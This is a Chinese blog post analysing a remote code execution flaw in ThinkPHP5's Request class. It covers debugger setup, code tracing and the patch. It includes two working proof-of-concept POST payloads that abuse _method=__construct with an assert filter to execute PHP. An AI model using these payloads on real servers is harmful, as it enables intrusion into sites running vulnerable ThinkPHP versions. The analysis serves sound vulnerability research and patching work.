php request漏洞利用,ThinkPHP5 核心类 Request 远程代码漏洞分析

ThinkPHP5 核心类 Request 远程代码漏洞分析

先说下xdebug+phpstorm审计环境搭建:

php.ini添加如下配置,在phpinfo页面验证是否添加成功。

[XDebug]

;xdebug.profiler_output_dir="D:\phpStudy\tmp\xdebug"

;xdebug.trace_output_dir="D:\phpStudy\tmp\xdebug"

zend_extension="D:\phpstudy\php\php-5.5.38\ext\php_xdebug.dll"

xdebug.auto_trace = 1

xdebug.trace_format = 0

xdebug.trace_output_dir="D:\phpstudy\tmp\xdebug"

xdebug.trace_options = 0

xdebug.collect_params = 4

xdebug.collect_return = 1

xdebug.collect_vars = 1

xdebug.collect_assignments = 1

xdebug.profiler_append = 0

xdebug.profiler_enable = 1

xdebug.profiler_enable_trigger = 0

xdebug.profiler_output_name="cache.out.%t-%s"

xdebug.profiler_output_dir="D:\phpstudy\tmp\XCache"

xdebug.remote_enable = 1

xdebug.remote_enable = on

xdebug.remote_port = 9000

xdebug.remote_mode = "req"

xdebug.remote_handler = "dbgp"

xdebug.remote_host = "127.0.0.1"

xdebug.remote_autostart = on

xdebug.idekey="PHPSTORM"

配置phpstorm设置里的Server

1265ad9c1699ae434104b6ee17323269.png

配置phpstorm设置里的debug port端口和上面配置文件开放端口一致

6f5b5c7206a38052a9b4bb54d73f6b98.png

验证xdebug是否配置成功,注意create validation script选择网站根目录

6a760cd1453b82cf39f138c8d408ae27.png

db8d76ed3e1fda0923a5a8416a338d2d.png

火狐浏览器下载插件并开启

f74d79b65b21ebe7bc0e2a35568e31f2.png

phpstorm下断点并开启debug,浏览器访问就能在断点处停住

ca17da462645d5b7fce22fa7fac04fc4.png 参考链接:https://blog.csdn.net/flyingdream123/article/details/69358819 版本使用的是5.0.2.3,需要开启debug模式先给出poc如下:

POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 80

Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26

Connection: close

Upgrade-Insecure-Requests: 1

_method=__construct&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

主要就是method方法的问题,在这里下断,第一次method==false走到elseif分支this->method变量赋值为_CONSTRUCT。相当于调用当前类的构造函数,跟进

01a5973a6663d0c0a1cdcd2d7e45065b.png 构造函数意思是,如果当前类存在属性,就将其重新赋值。这里server,filter都被重新赋值

b012a99594285fe8aeb6e845863f975c.png 跟到当前类的126行,调用param方法,这里debug设置为true才会走到if分支

dd4388e65997c5906764e91281172c40.png 调用this->method(true)

76f802eb17cdb24fe51870c9609a63de.png 这次调用了method方法的if分支,跟入server方法

c24be8fa048b6f221ff83358e2fcbffe.png server的值被传入input函数,跟入

1152ef3c39688bfb8c24795feb73260a.png server值赋值给data,1026行获取过滤器的值,前面赋值为assert.继续跟到1032行filterValue函数

f570d0176fd3cb059f36db1b5d36d271.png 这里导致命令执行

cad86b29f474b7fd4f0884775399d7f7.png 看下补丁,this->method不让调用任意方法。

97becb8d85cd55cd8f1b73ac842db66f.png 还有一种payload不用debug模式也可以RCE:

POST /thinkphp5_0/public/index.php?s=captcha HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-form-urlencoded

Content-Length: 80

Cookie: thinkphp_show_page_trace=0|0; security_level=0; ECS[visit_times]=1; PHPSESSID=cme4h35lc29jj7uk4ne4640p26

Connection: close

Upgrade-Insecure-Requests: 1

_method=__construct&method=get&filter[]=assert&server[REQUEST_METHOD]=phpinfo();

给filter变量赋值后,调用param方法就能导致RCE。 下面就是漏洞触发点的位置

826e4534f882dc11281a191df41f0ab7.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值